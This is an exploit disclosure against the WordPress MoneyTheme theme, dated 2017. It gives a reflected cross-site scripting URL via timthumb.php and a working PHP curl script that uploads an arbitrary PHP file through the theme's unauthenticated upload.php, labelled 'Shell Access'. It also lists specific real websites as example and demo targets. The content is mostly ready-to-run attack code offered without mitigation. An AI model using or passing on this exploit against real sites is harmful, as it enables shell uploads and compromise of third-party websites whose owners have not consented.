Title : Wordpress MoneyTheme Themes XSS / Arbitrary File Upload

#Author : Dyar Sahdi

#Date : 8/18/2017
--------------------------

Cross Site Scripting
------------------------
http://site-target/wp-content/themes/MoneyTheme/timthumb.php?src=[XSS].jpg

-------------------

Example :

http://cheapcompoundbow.com/wp-content/themes/MoneyTheme/timthumb.php?src=<h1>DevilScreaM</h1>.jpg
-----------

Script File Upload
----------------------
Arbitrary File Upload

Exploit :

<?php 
  
$uploadfile="devilscream.php"; 
  
$ch = curl_init("http://site-target/wp-content/themes/MoneyTheme/uploads/upload.php?folder=/wp-content/themes/MoneyTheme/uploads/uploads/"); 
curl_setopt($ch, CURLOPT_POST, true); 
curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile")); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
$postResult = curl_exec($ch); 
curl_close($ch); 
print "$postResult"; 
  
?>


Shell Access : http://site-target/wp-content/themes/MoneyTheme/uploads/uploads/devilscream.php 

devilscream.php
<?php 
phpinfo(); 
?>
-----------------------------------------------------
# Demo:
-------------

http://wellontop.com/wp-content/themes/MoneyTheme/uploads/upload.php 
http://copiouscash.com/wp-content/themes/MoneyTheme/uploads/upload.php